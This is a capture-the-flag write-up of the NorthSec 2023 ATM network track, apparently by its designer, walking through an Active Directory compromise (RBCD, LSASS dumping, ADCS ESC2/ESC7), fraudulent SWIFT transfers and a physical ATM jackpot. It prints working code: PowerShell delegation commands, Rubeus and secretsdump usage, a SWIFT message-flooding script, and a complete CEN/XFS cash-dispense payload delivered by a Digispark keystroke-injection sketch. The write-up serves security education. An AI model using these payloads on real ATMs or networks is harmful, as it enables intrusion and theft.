NorthSec 2023 - ATM Network Track Writeup
Context
After last NorthSec, I wanted to make something that would be a tribute to some of the most memorable tracks of my past NorthSecs as a participant.
Two things came to my mind, Martin Dubé’s 2019 Windows Track and François Chagnon’s 2017 voting booths. When I found an ATM for sale at a reasonable price, the track was born.
The theme for 2023 was a universe in which all players work for a megacorporation that controls all of society. In this universe, salaries are irrelevant and people are rewarded in perks. During the weekend, the Global Operation Directory, the system that oversees all activities is off for maintenance. In this track, players have to take advantage of this opportunity to exploit the system and collect their salary themselves.
TLDR
The players are given the atm01.bank.ctf
hostname. This machine has a VNC port exposed that gives access to an ATM image.
On this ATM, they can create a jackpotting payload using XFS that they can go and try on a physical ATM.
From the ATM, they can also find credentials in a batch job for the domain. This account has GenericAll permission on the ATM.
In the domain, there is a pre-windows 2000 pre-created computer account. They can use those accounts to do do a Role-Based Constrained Delegation attack on the ATM01 machine and get local administration privileges.
Using this, they can recover another domain account from the LSA secrets. This account has administration privileges on the itops01.bank.ctf
machine. This machine has LSASS running in a PPL and the Goutam.Shanthi
user is periodically connecting to the asset via RDP.
Extracting the lsass.exe
process memory gives them cleartext credentials for the account. Goutam.Shanthi
has ManageCertificates
permissions on adcs01.bank.ctf
and Domain Users
can generate certificates with an arbitrary SAN. Using those two issues, they can exploit both ESC2 and ESC7 to create a certificate for an account with domain administration privileges.
From dc01.bank.ctf
, the players can publish a GPO that will execute code on the jump01.bank.ctf
machine and recover the SWIFT message queue authentication certificated.
Once connected to the message queue, the players have to send multiple MT103 messages to transfer money to their own accounts.
Full Writeup of the Main Track
The track started with a post pointing the users to both atm01.bank.ctf
and www.bank.ctf
.
Scanning the www.bank.ctf
host allows you to find a web application.
Investigation of this web application reveals one of the bonus flags in the source code of the page. This is done to bring focus to the transaction format that will need to be used later in the track.
Scanning the atm01.bank.ctf
host allows you to find open ports for RPC, SMB, and VNC.
Upon connection to the VNC service allows the players that the service requires no authentication and allows them to interact directly with the machine as the AtmAutoLogon
user and reveals the first flag of the main track.
After connecting to the VNC client, the Kiosk mode had to be bypassed. This could be done by using the Ctrl-Shift-Del
key combination and using the task manager to start a new process.
The Ctrl-O
key combination also worked to open a file browser and start the cmd.exe
program.
*Since VNC clients handle keyboard channels differently, this bypassed some of the keyboard restrictions in place on the physical ATM. A hint was therefore posted during the event to inform players of which restrictions where in place to avoid too much time waste.
Having now gained access to the machine, the players could start investigating privilege escalation opportunities.
On the machine, a disabled scheduled task points to the C:\packages\scripts\RunUpdate.bat
containing domain user credentials. The second flag was also stored using rot47 in the same file (to avoid people searching for the keywork FLAG-
on the machine).
This same file could be found by searching for commands that commonly reveal credentials such as net use
. A hint was also given in the C:\packages\README.txt
file.
Having recovered the account’s password, the players could then try to connect to the domain. At which point they would have observed that the password was expired. This will be somewhat of a theme in this writeup, not because I wanted people to suffer but because I created the infra 44 days before the event and Window’s default password expiration policy is of 42 days. Oops.
The password change could however be done by either disconnecting the AtmAutoLogon user from VNC and reconnecting with the ATMService account, at which point you would be prompted to change the password, or via Impacket’s smbpasswd.py
script.
Using the domain credentials, players could start investigating the domain using tools such as BloodHound
and ADExplorer
.
After submitting the previous flag, a hint pointing torward the investigation of legacy items was provided in the Discourse post.
With this information, the players could have a look at the domain and observe an OU called OU=pre-created,OU=pre-win2000
. This was done to point at a somewhate lesser known attack based on pre-created computer account passwords (Pre-created computer accounts have the computer name in lowercase as their default password).
The password however had to be changed to use the account.
The domain investigation also revealed that the ATMService account had GenericAll
permissions on the atm01.bank.ctf
asset.
With an account with delegation privileges (webdev-old$
) and an account with the required privileges to write attributes to the atm01.bank.ctf
machine (ATMService
), the players could now execute an RBCD attack.
First, the msds-allowedtoactonbehalfofotheridentity
attribute had to be set on the atm01.bank.ctf
machine. This could be done in PowerShell using the following commands:
1
2
3
4
5
6
7
8
# SID webdev-old
#S-1-5-21-3522941280-196239457-2758380250-1152
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3522941280-196239457-2758380250-1152)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer atm01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
Once the attribute was set, a TGT could be requested for an account with administrator privileged on the atm01.bank.ctf
machine and used to dump the LSA secrets remotely. This gave them both the third flag and access to a new domain account.
*I had installed LAPS on the machines to avoid administrator password reuse. While doing this, I inadvertently allowed people to pull the LAPS passwords because of the GenericRead
permission given to the ATMService account. This was used by most teams to solve this part of the track.
Submitting this flag posted a simple message telling players to continue their domain escalation.
Spraying the credentials for this account using a tool like crackmapexec
would allow the players to observe that they had administrator privileges on the itops01.bank.ctf
machine.
Once connected to the machine, the players may have attempted to extract the lsass.exe
process memory. However, the process was protected using RunAsPPL
.
This could be bypassed by removing the PPL protection with the Mimikatz driver. The LSASS dump would then reveal the next flag and the password for the Goutam.Shanthi
user.
Submitting this flag gave a subtle hint toward dev
-related elements.
Investigation of the ADCS would reveal a DevEnroll
certificate on which the newly compromised user had enrollment permissions. This same certificate allowed users to provide arbitrary SANs.
Most of the pre-requisites for ESC2 are therefore met. However, looking at the documentation for the attack, we notice that, since manager approval is enabled, this attack cannot be executed.
However, even if Certify is unable to flag the issue because of this, we can see that the user Goutam.Shanthi
has ManageCertificates
permissions.
This means that this user can self-approve certificate requests as documented in BLACKARROW’s blog. Using their Certify fork, we could send a request to obtain the first part of the certificate and approve the request to obtain the final part.
Once done, the attack could be conducted just like a regular ADCS attack.
1
2
3
4
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /ptt
ticketConverter.py ticket.kirbi administrator.ccache
export KRB5CCNAME=administrator.ccache
python3 secretsdump.py -k dc01.bank.ctf
The recovered account could then be used to connect to the domain controller. Once connected, the flag could be found in the C:\flag.txt
file.
Submitting this flag gave information on our next step. Players were pointed toward the jump01.bank.ctf
machine and told to look into a specific folder.
*Since the web interface for ADCS was enabled, Coercer could also be used to relay an authentication request to from the DC to ADCS and create a certificate that way.
*This track was created using an Ansible script and all servers were provisionned using a default accounts named “Northsec”. The script was supposed to delete this account, but apparently, I went fast and am bad at Ansible. A team found the password for the “Northsec” account on itops01.bank.ctf
and sprayed it across all assets. Since this account was also on the dc01.bank.ctf
machine, they were able to bypass the ADCS part of the track.
Scanning jump01.bank.ctf
revealed that no ports were opened. This was because of the local firewall configured to block all incoming connections.
A GPO could however be added to that machine to either disable the firewall or execute a reverse shell from a PowerShell script.
Once the connection was established, access to the next flag, as well as various TLS certificates were obtained.
Submitting this flag revealed the existence of the rabbitmq.bank.ctf
machine and told the players the names of two message queues.
The provided information on payment processing, queue names, and information in the certificates (Issuer: commonName=swift.ctf
) pointed players toward the SWIFT network.
Connecting to the message queue and emmiting messages that vaguely ressembled SWIFT (Ex. {1:F01EBNKGB20AXXX8888999999}
) presented the players with the next flag.
With this information and the data listed on the www.bank.ctf
website, players could emmit valid transactions to transfer money from other accounts into the account associated with myself
in Discourse.
Any validation error (Ex. transaction was not in the FLG
currency or transaction was above 20 000 FLG)would return a verbose error message.
This allowed them to create a script that would make multiple transfers into their bank account.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import pika
import ssl
import uuid
from pika.credentials import ExternalCredentials
IN_QUEUE_NAME = 'swift_srv_in'
OUT_QUEUE_NAME = 'swift_srv_out'
SSH_HOSTNAME = 'swiftmq.ctf'
def parse_msg_callback(ch, method, properties, body):
print("Received " + str(body), method, properties)
context = ssl.create_default_context(cafile="ca-cert.pem")
context.load_cert_chain("client-cert.pem", "client-key.pem")
context.verify_mode = ssl.CERT_REQUIRED
ssl_options = pika.SSLOptions(context, SSH_HOSTNAME)
conn_params = pika.ConnectionParameters(host=SSH_HOSTNAME, credentials=ExternalCredentials(), port=5671, ssl_options=ssl_options)
connection = pika.BlockingConnection(conn_params)
in_channel = connection.channel()
out_channel = connection.channel()
in_channel.queue_declare(queue=IN_QUEUE_NAME)
out_channel.queue_declare(queue=OUT_QUEUE_NAME)
def queue_callback(ch, method, properties, body):
print(body)
for index in range(0,1000000):
out_channel.basic_publish(exchange='',
routing_key=OUT_QUEUE_NAME,
body='''{1:F01EBNKGB20AXXX8888999999}{2:I103BANKNSECA728N}{3:{119:STP}{121:''' + str(uuid.uuid4()) + '''}}{4:
:20:TRANSACTIONRF103
:23B:CRED
:32A:100000FLG100000.00
:33B:FLG-50000,00
:50K:/LU837820323276379953
331331GODO
01-93
BETA-RED
:59:/09997551
120875ABAB
86-3486639
LAMBDA-INDIGO
:71A:SHA
-}
{5:{CHK:123456789ABC}}''')
in_channel.basic_consume(queue=IN_QUEUE_NAME, on_message_callback=queue_callback, auto_ack=True)
in_channel.start_consuming()
Obtaining more than 1 000 000 FLG in your account revealed the last flag.
Our protagonist could therefore take his retirement and travel to the covetted BETA-RED district.
Full Writeup of the ATM Bonus
The “bonus” ATM track starts with a couple of hints. The track was already hard as it was, I did not want people that never interacted with ATMs to have to watch multiple talks on the subject before jumping into the action.
The hints gave the physical location of the ATM (next to the bar in the main room) and told players that there were DeviceInstall Restrictions
on the device.
Searching for DeviceInstall Restrictions
points you to the associated registry keys.
Investigation of those keys revealed the first bonus flag and that the only allowed device was a Gemalto
brand pinpad with vendor ID 08E6
and device ID 3478
.
The second step of the puzzle was to create a payload that could be used to interact with the cash dispenser and trigger an arbitrary dispensing of currency. People who where not aware of the cen/xfs
protocol could reverse the C:\packages\xfs\tdm100.dll
or C:\packages\xfs\msxfs.dll
dlls to observe the exported functions hinting them toward the correct spec document as one team did. However, to give as many chances of this track being solved, a hint was also posted pointing toward the specification document.
The hint talked about XFS and contained a link to CWA13449, the part of the specification document related to cash dispensers.
One of the easiest ways to trigger dispensing was to use a tool made by a fellow challenge designer and resident programming legend Alexandre Beaulieu.
To facilitate the creation of the payload, the C:\packages\xfs\msxfs.dll
file could be copied in the C:\Windows\System32\
folder of a virtual machine to test payloads locally. The xfsc
binary could then be compiled and used to interact with the dll. When a valid dispensing flow was found, a prompt was shown telling the players that their payload was ready.
The next challenge was running this on the physical ATM.
To avoid making this challenge accessible only to the owners of USB Rubber Ducky
or Flipper Zero
, a Digispark USB Development Board
was provided to all teams. This board does limit the size of useable payloads to 6012 bytes (in reality, getting too close to this limit, having too long lines or using too many commands made the boards behave in unpredictable ways).
The payload therefore had to:
- Emulate the correct VID / PID
- Execute the kiosk escape keystroke sequence
- Run the XFS dispensing payload
- Stay under the 6012 bytes size limit
- Run in under 2 minutes (after which time the kiosk would reset to allow the next team to try a new payload)
To emulate the correct VID / PID, players had to modify the default Digispark Library Device Configurations to change the provided device IDs.
Once done, a payload executing the essential functions of the XFS payload could be created. To stay under the size limit, I chose to use PowerShell and call the dll exported functions directly.
The following shrunk down payload was used (I kept the longer function and variable names in this writeup for readability).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential, Pack = 1)]
struct WFSCDMDENOMINATION
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 3)]
public char[] cCurrencyID;
public int ulAmount;
public ushort usCount;
IntPtr lpulValues;
int ulCashBox;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
struct WFSCDMDISPENSE
{
public ushort usTellerID;
public ushort usMixNumber;
public ushort fwPosition;
public bool bPresent;
public IntPtr lpDenomination;
}
public static class XSFClass
{
[DllImport("msxfs.dll", EntryPoint = "WFSExecute")]
static extern int WFSExecute(ushort hService, int dwCommand, IntPtr lpCmdData, int dwTimeOut, ref IntPtr lppResult);
[DllImport("msxfs.dll", EntryPoint = "WFSOpen")]
static extern int WFSOpen(string lpszLogicalName, IntPtr hApp, string lpszAppID, int dwTraceLevel, int dwTimeOut, int dwSrvcVersionsRequired, ref IntPtr lpSrvcVersion, ref IntPtr lpSPIVersion, ref ushort lphService);
public static void pwn() {
WFSCDMDENOMINATION denomination = new WFSCDMDENOMINATION();
denomination.cCurrencyID = "FLG".ToCharArray();
denomination.ulAmount = 8;
denomination.usCount = 8;
IntPtr denominationPtr = Marshal.AllocHGlobal(Marshal.SizeOf(denomination));
Marshal.StructureToPtr(denomination, denominationPtr, false);
WFSCDMDISPENSE dispense = new WFSCDMDISPENSE();
dispense.usTellerID = 0;
dispense.usMixNumber = 1;
dispense.fwPosition = 0;
dispense.bPresent = true;
dispense.lpDenomination = denominationPtr;
IntPtr dispensePtr = Marshal.AllocHGlobal(Marshal.SizeOf(dispense));
Marshal.StructureToPtr(dispense, dispensePtr, false);
IntPtr lpSrvcVersion = IntPtr.Zero;
IntPtr lpSPIVersion = IntPtr.Zero;
ushort lpService = 1;
WFSOpen("TDMCashDispenser", IntPtr.Zero, "", 0, 0, 3, ref lpSrvcVersion, ref lpSPIVersion, ref lpService);
IntPtr lpResult = IntPtr.Zero;
WFSExecute(lpService, 302, dispensePtr, 0, ref lpResult);
}
}
"@
[XSFClass]::pwn()
The payload was then written on the key using the following Arduino script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include "DigiKeyboard.h"
#define KEY_ESC 0x29
void setup() {
delay(1000);
// Init
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(1000);
// Kiosk Escape
DigiKeyboard.sendKeyStroke(KEY_ESC, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
// Start Powershell
DigiKeyboard.print("powershell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2500);
// Jackpot
DigiKeyboard.println(F("Add-Type -TypeDefinition @\"\nusing System;using System.Runtime.InteropServices;\n[StructLayout(LayoutKind.Sequential, Pack = 1)]struct D {[MarshalAs(UnmanagedType.ByValArray, SizeConst = 3)]public char[] i;public int a;public ushort c;IntPtr v;int b;}"));
DigiKeyboard.delay(250);
DigiKeyboard.println(F("[StructLayout(LayoutKind.Sequential, Pack = 1)]struct C {public ushort i;public ushort m;public ushort p;public bool b;public IntPtr d;}"));
DigiKeyboard.delay(250);
DigiKeyboard.println(F("public static class cl {"));
DigiKeyboard.delay(250);
DigiKeyboard.println(F("[DllImport(\"msxfs.dll\", EntryPoint = \"WFSExecute\")]static extern int WE(ushort s, int c, IntPtr d, int t, ref IntPtr r);"));
DigiKeyboard.delay(250);
DigiKeyboard.println(F("[DllImport(\"msxfs.dll\", EntryPoint = \"WFSOpen\")]static extern int WO(string n, IntPtr a, string i, int t, int to, int v, ref IntPtr sv, ref IntPtr spv, ref ushort s);"));
DigiKeyboard.delay(250);
DigiKeyboard.println(F("public static void j() {\nD de = new D();de.i = \"FLG\".ToCharArray();de.a = de.c = 8;"));
DigiKeyboard.delay(250);
DigiKeyboard.println(F("IntPtr dePtr = Marshal.AllocHGlobal(Marshal.SizeOf(de));Marshal.StructureToPtr(de, dePtr, false);"));
DigiKeyboard.delay(250);
DigiKeyboard.println(F("C di = new C();di.i = di.p = 0;di.m = 1;di.b = true;di.d = dePtr;"));
DigiKeyboard.delay(250);
DigiKeyboard.println(F("IntPtr diPtr = Marshal.AllocHGlobal(Marshal.SizeOf(di));Marshal.StructureToPtr(di, diPtr, false);"));
DigiKeyboard.delay(250);
DigiKeyboard.println(F("IntPtr sv = IntPtr.Zero, spv = IntPtr.Zero, res = IntPtr.Zero;ushort svc = 1;"));
DigiKeyboard.delay(250);
DigiKeyboard.println(F("WO(\"TDMCashDispenser\", IntPtr.Zero, \"\", 0, 0, 3, ref sv, ref spv, ref svc);"));
DigiKeyboard.delay(250);
DigiKeyboard.println(F("WE(svc, 302, diPtr, 0, ref res);"));
DigiKeyboard.delay(250);
DigiKeyboard.println(F("}}"));
DigiKeyboard.delay(250);
DigiKeyboard.println(F("\"@"));
DigiKeyboard.delay(250);
DigiKeyboard.print(F("[cl]::j()"));
DigiKeyboard.delay(250);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
}
Upon connecting the key, the device would wait 5 seconds, execute the Ctrl-Shift-Esc
keyboard sequence, hit Alt-f
to open the File
menu, hit the Enter
key to choose the Run new task
option, type powershell.exe
and hit Enter
to start a PowerShell interpretter, type the final payload and hit Enter
one last time to execute it.
When fully executed, the players were presented with 8 bills on which a flag was written using UV ink that could be read using a UV lamp next to the ATM.